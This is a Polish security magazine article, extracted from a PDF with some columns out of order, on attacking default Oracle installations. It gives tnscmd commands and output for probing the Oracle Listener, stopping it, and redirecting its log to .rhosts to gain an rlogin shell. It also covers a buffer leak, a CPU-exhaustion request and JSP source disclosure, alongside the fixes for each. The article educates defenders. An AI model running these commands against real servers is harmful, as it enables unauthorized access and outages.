[hackpl] oracle z punktu widzenia intruza, e-book
[ Pobierz całość w formacie PDF ]
<<DZIAL_A>>
<<DZIAL_B>>
Oracle z punktu
widzenia intruza
Wojciech Dworakowski
produktów bazodanowych. Na tej
platformie działa wiele serwisów
związanych z udostępnianiem danych
(również przez Internet). Bazy te są też niezwykle
popularne w zastosowaniach korporacyjnych.
Hasło marketingowe Oracle w roku 2002
brzmiało:
Oracle – The Unbreakable
. Czy
rzeczywiście tak jest? W poniższym artykule
spróbuje przybliżyć zagrożenia związane ze
standardowymi instalacjami produktów Oracle.
Już na wstępie chcę zaznaczyć, że nie
zamierzam odsądzać firmy Oracle od czci i
wiary, potępiać posunięć marketingowych i
sugerować że DBMS Oracle jest niebezpieczny
czy też dziurawy jak przysłowiowe rzeszoto. Moim
celem jest wykazanie, że każdy produkt jest w
większym lub mniejszym stopniu narażony na
błędy programistów i projektantów, niezależnie
od tego co twierdzą hasła na sztandarach.
Oracle 9i to dobry produkt bazodanowy, świadczy
o tym chociażby udział w rynku, jednak nawet tak
dużym firmom i tak renomowanym produktom
zdarzają się wpadki. Należy o tym pamiętać i nie
ufać bezgranicznie hasłom reklamowym. Nie bez
kozery motto Narodowej Agencji Bezpieczeństwa
USA brzmi
ufamy Bogu – wszystko inne
sprawdzamy
.
Wszystkie opisywane błędy dotyczą
instalacji standardowej. Da się ich uniknąć
stosując poprawki i zalecenia producenta oraz
eliminując zbędną funkcjonalność w instalacjach
produkcyjnych.
Pierwsza część artykułu będzie dotyczyć
ataków możliwych do przeprowadzenia
z sieci lokalnej. Skupię się głównie na
Zawodowo nie zajmuję się administracją
serwerów Oracle. Moja praca wiąże się raczej
z analizowaniem bezpieczeństwa systemów IT
(testy penetracyjne, przeglądy konfiguracji). Z
tego względu prezentowany materiał przyjmuje
raczej punkt widzenia atakującego system niż
administratora. Artykuł jest podsumowaniem
ponad dwuletnich doświadczeń w testowaniu
bezpieczeństwa systemów Oracle. Większość
informacji pochodzi ze źródeł powszechnie
dostępnych w Internecie.
na CD
<<NA_CD |
FIT=TOP>>
niedoskonałościach serwisu Oracle Listener. W
drugiej części opiszę kilka zagrożeń związanych z
serwerami aplikacji internetowych zbudowanych
w oparciu o Oracle. Część ta będzie dotyczyć
głównie modułów serwisu Apache, który wchodzi
w skład rozwiązań aplikacyjnych Oracle.
Trochę historii
Produkty firmy Oracle przez wiele lat były
uważane za aplikacje nie posiadające znaczących
błędów związanych z bezpieczeństwem.
Opinia ta wynikała najprawdopodobniej
z nikłego zainteresowania badaczy tymi
produktami, co znowu było spowodowane ich
niską dostępnością. Żeby uzyskać dostęp do
pełnych wersji systemów DBMS firmy Oracle
należało kupić stosunkowo drogie licencje.
Sprawy przyjęły inny obrót, gdy Oracle zaczęło
udostępniać pełne wersje swoich produktów w
Internecie. Wersje te można stosować do celów
deweloperskich i testowych. Od około dwóch lat
widać znaczne zainteresowanie tymi produktami
wśród specjalistów zajmujących się testowaniem
bezpieczeństwa aplikacji i wyszukiwaniem w nich
błędów.
Przyniosło to też znaczącą poprawę
w podejściu producenta do problemów
bezpieczeństwa samego kodu wchodzącego
w skład produktów Oracle. Wcześniej – Oracle
pojmowało bezpieczeństwo tylko przez pryzmat
mechanizmów zabezpieczających dane w samej
aplikacji oraz zwiększających ich dostępność.
W roku 2002 Oracle opublikowało ponad 20
informacji o zagrożeniach w swoich produktach.
Ponadto standardowe dystrybucje Oracle
Autor jest współwłaścicielem irmy SecuRing,
koordynatorem prac zespołu i osobą
odpowiedzialną za sporządzanie raportów.
Sześć lat doświadczenia praktycznego w
zakresie bezpieczeństwa IT. Prelegent na licznych
konferencjach poświęconych bezpieczeństwu
IT (m.in. CERT Secure, PLOUG/Oracle, Open
Source Security, Windows Security). Prowadzi
rubrykę poświęconą bezpieczeństwu w
Biuletynie Polskiej Grupy Użytkowników Systemu
Oracle. Uprzednio koordynował pracę zespołów
konsultantów bezpieczeństwa irm ABA i BSI.
11
www.softwaremedia.cz
Software Extra! Nr 1
P
rodukty Oracle dominują na rynku
<<TOP>>
Listing 1
. Pozyskanie informacji o systemie – komenda
TNS status
Uzyskanie informacji o systemie
Standardowo Oracle Listener przyjmuje komendy od
każdego i nie wymaga żadnej autoryzacji. Może to
prowadzić do wielu nadużyć. Po pierwsze, dowolny
użytkownik sieci, który jest w stanie nawiązać komunikację
z portem listenera 1521 TCP, może uzyskać bardzo dużo
informacji o systemie. Odpowiadają za to komendy
version
i
status
protokołu TNS:
tnscmd status -h 10.1.1.100 -p 1521
sending (CONNECT_DATA=(COMMAND=status))
to 10.1.1.100:1521
connect
writing 89 bytes
reading
. .......6.........@. ...........J........
DESCRIPTION=
TMP=
VSNNUM=135291648
ERR=0
ALIAS=LISTENER
SECURITY=OFF
VERSION=TNSLSNR for Solaris:
Version 8.1.6.3.0 - Production
START_DATE=28-OCT-2002 16:22:44
SIDNUM=1
LOGFILE=/opt/oracle/8i/network/log/listener.log
PRMFILE=/opt/oracle/8i/network/admin/listener.ora
TRACING=off
UPTIME=379500951
SNMP=OFF
tnscmd version -h adres_serwera -p 1521
tnscmd status -h adres_serwera -p 1521
Listener odpowiada na te zapytania zdradzając m.in.:
• dokładną wersję Oracle,
• rodzaj systemu operacyjnego,
• czas od uruchomienia instancji Oracle,
• ścieżki do plików z logami,
• opcje listenera (m.in. stan opcji
security
),
• rodzaj serwisów Oracle obsługiwanych przez
Listenera,
• argumenty wywołania,
• kompletne środowisko (wartości wszystkich zmiennych
systemowych), w jakim został wywołany listener.
zawierają w sobie komponenty Open Source – takie jak
np. Apache – które też nie są wolne od błędów.
Oracle Listener
Na początek garść faktów na temat oprogramowania
Oracle Listener. Jest to komponent odpowiedzialny przede
wszystkim za komunikację między klientami a serwerem
Oracle (również za komunikację międzyserwerową).
Jest to element każdej instalacji Oracle DBMS. Listener
jest procesem działającym na serwerze bazodanowym,
którego zadaniem jest przyjmowanie zleceń od klientów.
W systemach uniksowych jest to proces o nazwie
tnslsnr
,
a w systemach Windows odpowiedni serwis. Listener
nasłuchuje zleceń na porcie TCP 1521. Do komunikacji
między Oracle Client a Listenerem jest wykorzystywany
protokół TNS (Transparent Network Substrate).
Największe zagrożenia związane z Oracle Listener nie
wymagają od atakującego żadnej wiedzy tajemnej. Nie są
to klasyczne przepełnienia bufora wejściowego lub inne
typowe błędy popełniane przez programistów (aczkolwiek
takie też w nim można znaleźć). Największe słabości
Listenera prawdopodobnie wynikają ze złych założeń
przyjętych podczas projektowania tego oprogramowania.
Słowem:
It’s not a bug – It’s a feature
. Przejdźmy jednak
do konkretów.
Do atakowania Oracle Listenera można zastosować
prosty skrypt perl o nazwie
tnscmd
. Można go uzyskać pod
adresem
tnscmd/tnscmd
. Skrypt ten pozwala na wydawanie
komend protokołu TNS.
Przykład pozyskania niektórych z tych informacji znajduje
się na Listingu 1.
Dane te mogą posłużyć do przygotowania skutecznego
ataku przeciwko systemowi operacyjnemu lub przeciwko
samemu oprogramowaniu Oracle.
Prosty atak DoS
Standardowa konfiguracja umożliwia trywialny atak
denial
of service
na Oracle Listener. Opcja SECURITY=OFF
(patrz Listing 1) mówi o tym, że dla Listenera można
wydawać komendy bez jakiegokolwiek uwierzytelnienia.
Standardowo dostęp administracyjny do listenera nie
jest zabezpieczony hasłem, więc potencjalny intruz może
wydać komendę:
tnscmd stop -h oracleserwer -p 1521
Listener posłusznie zakończy swoje działanie. Jest to
typowy, bardzo trywialny atak
Denial of Service
(DoS).
Intruz nie zdobył dostępu do systemu ani do danych, ale
skutecznie uniemożliwił korzystanie z systemu.
Przed tego typu atakiem można się zabezpieczyć
ustawiając opcję
security
w listenerze i hasło na dostęp
do poleceń administracyjnych.
Nadpisanie dowolnego pliku
Proces listenera (
tnslsnr
) zapisuje wszystkie zdarzenia w
swoim logu. Położenie tego logu konfiguruje administrator.
Można je odczytać zdalnie przez opisaną poprzednio
Software Extra! Nr 1
www.softwaremedia.cz
12
<<DZIAL_A>>
<<DZIAL_B>>
Listing 2
. Nadpisanie dowolnego pliku do którego ma dostęp użytkownik oracle (w tym wypadku jest to plik .rhosts w
katalogu domowym użytkownika
oracle
)
wojdwo@behemot$ ./tnscmd -h oracleserver --rawcmd “
(DESCRIPTION= (CONNECT_DATA=(CID=(PROGRAM=)(HOST=)(USER=)) (COMMAND=log_file)(ARGUMENTS=4)
(SERVICE=LISTENER) (VERSION=1) (VALUE=/home/oracle/.rhosts)))"
sending
(DESCRIPTION=(CONNECT_DATA=(CID=(PROGRAM=)(HOST=)(USER=))(COMMAND=log_file)(ARGUMENTS=4)(SERVICE=LISTENER)
(VERSION=1)(VALUE=/home/oracle/.rhosts)))
to oracleserver:1521
writing 205 bytes
reading
.m......"..a(DESCRIPTION=(TMP=)(VSNNUM=135294976)(ERR=0)(COMMAND=log_file)(LOGFILENAME=/home/oracle/.rhosts))
komendę protokołu TNS –
status
. Na Listingu 1 jest to
wartość zmiennej LOGFILE. Co ciekawsze – za pomocą
odpowiedniego zlecenia TNS położenie pliku logowania
można zmieniać. Na dodatek, Listener ślepo przyjmuje
każdą wartość, niezależnie od tego, czy wyspecyfikowany
plik istnieje (w takim wypadku zostanie nadpisany), czy też
nie (w takim wypadku zostanie stworzony). W rezultacie
– intruz, który może komunikować się z portem 1521
serwera Oracle, ma możliwość nadpisania bądź utworzenia
dowolnego pliku, do którego ma uprawnienia proces
Oracle Listener. Standardowo na systemach uniksowych
jest to użytkownik
oracle
, a na systemach Microsoftu
użytkownik
LOCAL_SYSTEM
(sic!). W ten sposób intruz
może zniszczyć pliki z danymi bazy, pliki konfiguracyjne czy
też same binaria Oracle.
Skrypt
tnscmd
ma możliwość bezpośredniego
wpisywania ciągów znaków, które wejdą w skład zlecenia
TNS. Mając pewną wiedzę o tym protokole można
skonstruować zlecenie zmiany pliku logowania. Przykład
– przekierowanie logów do pliku
/home/oracle/.rhosts
– jest pokazany na Listingu 2.
systemów.
Najpierw intruz wydaje za pomocą programu tnscmd
polecenie TNS nakazujące listenerowi na serwerze
oracleserwer
zmianę pliku logowania na
/home/oracle/
.rhosts
(Listing 2).
Jak widać na dalszej części listingu, listener na
serwerze
oracleserwer
wykonał to zlecenie. Od tej pory
wszystkie zapisy o działaniu listenera będą płynąć do pliku
/home/oracle/.rhosts
.
W systemach uniksowych w pliku
.rhosts
w katalogu
domowym użytkownika zapisane są zdalne konta i nazwy
bądź adresy IP hostów, które mogą się łączyć do tego
systemu bez dalszego uwierzytelniania przez serwisy
rlogin, rsh, rcmd. Celem intruza jest wpisanie do tego pliku
swojego loginu i adresu IP swojego hosta.
Jak już wspominaliśmy, listener zapisuje do logów
informacje o błędach, wraz z cytatem nieprawidłowej
komendy. Można to wykorzystać to do wpisania swojego
IP i nazwy użytkownika do pliku
.rhosts
(Listing 3). Ważne
jest, żeby wpisywane dane były umieszczone w osobnej
linii.
Jak widać listener zwrócił komunikat o błędzie,
jednakże wpisał do swoich logów, a więc do pliku
/
home/oracle/.rhosts
, całą linię z błędną komendą. W tym
momencie plik
/home/oracle/.rhosts
(a więc obecny log
Przykładowy scenariusz ataku –
przejęcie kontroli nad bazą
Po przekierowaniu logów do dowolnego pliku wszystkie
informacje logowane przez Oracle Listener będą
zapisywane do tego pliku. Listener nie zapisuje do logów
zbyt wiele informacji, przykładowo nie zapisuje adresu
IP ani nazwy hosta, z którego nadeszło połączenie. W
związku z tym intruz atakujący Oracle jedną z powyższych
metod nie zostanie ujawniony przez logi listenera. W logu
są za to zapisywane są wszystkie informacje o błędach,
wraz z cytatem nieprawidłowej komendy. Umożliwia to
wpisanie do pliku pożądanej przez intruza informacji, co w
pewnych warunkach może prowadzić do przejęcia kontroli
nad systemem.
Poniżej przedstawię scenariusz ataku opierający się
na wpisaniu odpowiedniej informacji do pliku
.rhosts
i
wykorzystaniu serwisu rlogin. Uwaga: poniższy scenariusz
należy traktować jedynie jako przykład. Zaprezentowane tu
błędy umożliwiają o wiele szersze możliwości penetrowania
Listing 3
. Wykorzystanie listenera do wpisana swoich
danych do dowolnego pliku
wojdwo@behemot$ ./tnscmd -h oracleserwer \
--rawcmd "(CONNECT_DATA=((
10.1.1.223 wojdwo
"
sending (CONNECT_DATA=((
10.1.1.223 wojdwo
to oracleserwer:1521
writing 93 bytes
reading
.$....."..(DESCRIPTION=(ERR=1153)(VSNNUM=135294976)
(ERROR_STACK=(ERROR=i(CODE=1153)(EMFI=4)
(ARGS='(CONNECT_DATA=((.10.1.1.223 wojdwo')) (ERROR=(C
ODE=303)(EMFI=1))))
13
www.softwaremedia.cz
Software Extra! Nr 1
13
<<TOP>>
Listenera) wygląda tak jak na Listingu 4.
Linię
10.1.1.223 wojdwo
intruz umieścił w pliku
.rhosts
wykorzystując niedoskonałości Oracle Listener.
Zostanie ona prawidłowo zinterpretowana przez system,
w rezultacie intruz może zalogować się zdalnie jako
użytkownik
oracle
, bez żadnego uwierzytelnienia. Listing
5 ilustruje zdalne połączenie z serwerem
oracleserwer
i
uzyskanie uprawnień użytkownika
oracle
.
Podsumowując: zdalnie działający intruz zdołał,
odpowiednio manipulując serwisem Oracle Listener,
osiągnąć uprawnienia użytkownika
oracle
w systemie
operacyjnym.
Oczywiście ten przykładowy scenariusz zadziała tylko
wtedy, gdy system operacyjny udostępnia możliwość
zdalnego logowania się przez rlogin oraz korzysta z
plików
.rhosts
do autoryzowania zdalnych użytkowników
(standardowa konfiguracja większości uniksów). Tak jak
powiedziałem wcześniej – jest to tylko przykład. Można
skonstruować podobny atak manipulujący kluczami
ssh i w rezultacie, dający dostęp do systemu via ssh.
Można również przeprowadzić podobne ataki na Oracle
działające na platformach Windows. Byłyby one o wiele
skuteczniejsze i groźniejsze nie tylko dla bazy danych ale
też dla samego systemu, z uwagi na to, że intruz uzyskałby
uprawnienia
Local System
.
Powyższe zagrożenia są tym bardziej godne uwagi, że
występują po dziś dzień, we wszystkich wersjach Oracle
zawierających Oracle Listener, łącznie z najnowszą,
chociaż zagrożenie jest znane od 2000 roku. Łata
wypuszczona przez Oracle (#1361722) wprowadza do
pliku konfiguracyjnego Listenera (
listener.ora
) dodatkowy
parametr –
ADMIN_RESTRICTIONS
. Włączenie tego
parametru uniemożliwia dynamiczną zdalną rekonfigurację
listenera. Jednak – dla zachowania zgodności wstecz
– standardowo parametr ten jest wyłączony.
Listing 5
. Rezultatem ataku jest możliwość zdalnego
zalogowania się do systemu z uprawnieniami użytkownika
Oracle
wojdwo@behemot$ rlogin -l oracle oracleserwer
Linux oracleserwer Mon Aug 12 15:46:15 EST 2002
i686 unknown
oracle@oracleserwer:~$ id
uid=1001(oracle) gid=103(oinstall)
groups=103 (oinstall),104(dba),105(oper)
deploy/security/alerts.htm
oraz w prowadzonym przeze
mnie Biuletynie Bezpieczeństwa Oracle, który ukazuje się
w gazetce Polskiej Grupy Użytkowników Systemu Oracle.
Jest ona dostępna on-line pod adresem podanym w
Ramce
W Sieci
.
Poniżej przedstawię dwa zagrożenia, które wydały
mi się szczególnie ciekawe. Oba są poprawione przez
producenta i istnieją na nie odpowiednie łaty.
Ciekawym błędem (przykład jego wykorzystania
przedstawia Listing 6) popełnionym przez programistów
tworzących Oracle Listener jest błąd pozwalający na
ujawnienie informacji przekazywanej w poprzednim
połączeniu innego użytkownika z listenerem. Błąd
programisty polega prawdopodobnie na tym, że bufor, do
którego są przyjmowane komunikaty, nie jest każdorazowo
czyszczony. W rezultacie ustawiając w odpowiednim
parametrze większą niż w rzeczywistości długość
wydawanej komendy TNS (
oracleserwer --cmdsize 30
),
można odczytać część komendy wydanej do listenera
przez poprzedniego użytkownika (
COMMAND=status
).
Inny ciekawy błąd wiąże się z komendą
SERVICE_
CURLOAD
. Do wysłania tej komendy można wykorzystać
program tnscmd:
tnscmd -h 192.168.0.200 --rawcmd "(CONNECT_
DATA=(COMMAND=SERVICE_CURLOAD))"
Inne ciekawe błędy Listenera
Jak już wspomniałem – powyżej zaprezentowane błędy
są o tyle ciekawe, że nie są przeoczeniem koderów, lecz
błędami popełnionymi w fazie projektowania produktu.
Oczywiście, Oracle Listener nie jest wolny od bardziej
tradycyjnych zagrożeń wiążących się np. z brakiem
walidacji danych wejściowych. Informacje o innych błędach
są dostępne m.in. na stronie
W rezultacie proces listenera (tnslsnr) konsumuje 99%
czasu procesora. Znowu – bardzo trywialny atak
denial
of service
.
Listing 6
. Manipulacja protokołem TNS; w rezultacie
listener zdradza fragment poprzedniej komendy
Listing 4
. Zawartość pliku /home/oracle/.rhosts po
nadpisaniu go przez Oracle Listener
wojdwo@behemot$ ./tnscmd --rawcmd " " -h oracleserwer
--cmdsize 30
sending to oracleserwer:1521
Faking command length to 30 bytes
writing 59 bytes
reading
......."...(DESCRIPTION=(ERR=1153)(VSNNUM=135294976)
(ERROR_STACK=(ERROR=(CODE=1153)(EMFI=4)
(ARGS='CONNECT_DATA=(COMMAND=status)'))
(ERROR=(CODE=303)(EMFI=1))))
12-SIE-2002 15:44:05 * log_file * 0
12-SIE-2002 15:44:37 * service_register * ora1 * 0
12-SIE-2002 15:44:58 * 1153
TNS-01153: Failed to process string: (CONNECT_DATA=((
10.1.1.223 wojdwo
NL-00303: syntax error in NV string
Software Extra! Nr 1
www.softwaremedia.cz
14
114
<<DZIAL_A>>
<<DZIAL_B>>
Oracle Listener – uwagi
Przedstawione powyżej ataki związane z Oracle Listener
wymagają oczywiście żeby intruz mógł komunikować
się z tym procesem. Musi on mieć możliwość wysyłania
pakietów do portu 1521/tcp. Z tego też powodu większość
administratorów ignoruje te zagrożenia, ponieważ chronią
przed nimi firewalle, które w większości wypadków blokują
ruch na ten port. Jak w rzeczywistości wygląda ograniczanie
dostępu do portów serwerów bazodanowych mogliśmy się
przekonać pod koniec stycznia 2003 przy epidemii robaka
Slammer (Sapphire), atakującego serwery MS-SQL. Poza
tym większość intruzów nie atakuje przez frontowe drzwi.
Zamiast próbować zaatakować bezpośrednio serwer
Oracle, dużo łatwiej jest przejąć kontrolę nad jakąś
stacją roboczą w atakowanej sieci i stąd bez większych
problemów przeprowadzić atak na Oracle Listener.
Oczywiście istnieją możliwości przynajmniej
częściowego zabezpieczania się przed powyższymi
zagrożeniami. Podstawowym sposobem ochrony jest
włączenie w listenerze opcji
security
i ustawienie hasła
dostępu. Poza tym można limitować adresy IP, które mogą
łączyć się do listenera (dyrektywy
tcp.validnode_checking
i
tcp.invited_nodes
) oraz zabronić dynamicznej modyfikacji
plików konfiguracyjnych (np. logów) przez włączenie opcji
ADMIN_RESTRICTIONS
.
W związku z tym metody te są rozszerzone o różne
ciekawe możliwości, np. XSQL – integracja z XML, czy
też SQLJ – bezpośrednie wykonywanie zapytań SQL z
wnętrza skryptów Java.
• Inne tradycyjne metody, jak np. skrypty CGI czy Perl
(
mod_cgi
i
mod_perl
są standardowo włączone).
Ponadto Oracle udostępnia całe mnóstwo technologii
uzupełniających, takich jak zaawansowane buforowanie
stron dynamicznych (Oracle Web Cache), framework
do tworzenia stron portalowych (Oracle Portal),
implementacje WebDAV i inne.
Nietrudno się domyślić, że większość z tych modułów
dodatkowych posiada bardzo długą i szybko rozwijającą się
listę zagrożeń z nimi związanych. Jest to sytuacja typowa
dla oprogramowania, które jest bardzo szybko rozwijane.
Oczywiście – w standardowej instalacji jest włączona
większość z tych rozszerzeń. Jak wskazuje praktyka,
mało która instalacja produkcyjna ma konfigurację mocno
odbiegającą od standardowej, a administratorzy z braku
wiedzy o wszystkich zaawansowanych komponentach,
wolą je zostawić niż narażać się na destabilizację serwera.
Potwierdza się tu stara zasada, że bezpieczeństwo
jest odwrotnie proporcjonalne do udostępnianej przez
oprogramowanie funkcjonalności.
Poniżej przedstawię kilka przykładów ciekawych
ataków wykorzystujących luki w modułach Oracle HTTP
Listener. Wszystkie opisane zagrożenia są usuwalne
przez nałożenie odpowiednich łat producenta. Dość
charakterystyczna jest jednak ich trywialność oraz to, że
praktycznie wszystkie zostały ujawnione na przestrzeni
ostatniego roku.
Apache a'la Oracle
W ostatnich latach bardzo popularną formą udostępniania
informacji stały się serwisy WWW połączone z bazami
danych. W takiej architekturze po stronie serwera WWW
uruchamiane są pewne metody dynamiczne (np. PHP, ASP,
JSP), które pobierają dane z bazy danych i generują strony
WWW. Całość tworzy aplikacje webową. Klientem takiej
aplikacji jest oczywiście zwykła przeglądarka WWW. Oracle
i inni producenci produktów bazodanowych dostrzegli ten
trend i uzupełnili swoje produkty o możliwość dostępu do
danych przez przeglądarki WWW. W przypadku Oracle
serwerem WWW jest Oracle HTTP Listener. Jest to drugi
(poza standardowym Listenerem) sposób komunikacji
z serwerem Oracle, a więc również potencjalne miejsce
ataków z zewnątrz systemu.
Oracle HTTP Listener to dobrze znany serwer Apache
serii 1.3.x z dopisanymi przez Oracle modułami, które
integrują go z Oracle DBMS. Kod wykonywany po stronie
serwera może być tworzony przy pomocy wielu różnych
metod. Najważniejsze to:
Ujawnienie kodu źródłowego
skryptów JSP
Java Server Pages (JSP), to jedna z metod, za pomocą
których serwer może generować strony WWW z
zawartością dynamiczną, którą stanowią informacje
pobrane z bazy danych. Gdy klient (przeglądarka WWW)
poprosi o stronę o rozszerzeniu JSP, to standardowo
serwer wyszukuje odpowiedni kod Java, kompiluje go i
wykonuje. Rezultat wykonania w postaci strony HTML jest
zwracany do przeglądarki. Podczas tego procesu w ścieżce
/_pages
serwera WWW tworzone są pliki tymczasowe.
Jeden z takich plików – z rozszerzeniem
java
– zawiera kod
źródłowy wykonywanego skryptu.
W standardowej konfiguracji Apache
rozpowszechnianego z Oracle katalog
/_pages
jest
udostępniany przez serwer, w związku z tym intruz może
odczytać kod źródłowy stron JSP obsługiwanych przez
serwer.
Przykład:
Najpierw należy uruchomić atakowany skrypt JSP, po
to by serwer pobrał kod i go skompilował:
• PL/SQL – język proceduralny Oracle; za jego
interpretację w przypadku skryptów
server-side
odpowiada moduł
mod_plsql.
• Skrypty JSP i serwlety Java – obsługiwane przez JServ
(
mod_jserv
statycznie zlinkowany z Apache) lub Oracle
Containers for Java (OC4J). Można powiedzieć, że jeśli
chodzi o serwery aplikacjito Oracle stawia na Javę.
15
www.softwaremedia.cz
Software Extra! Nr 1
15
[ Pobierz całość w formacie PDF ]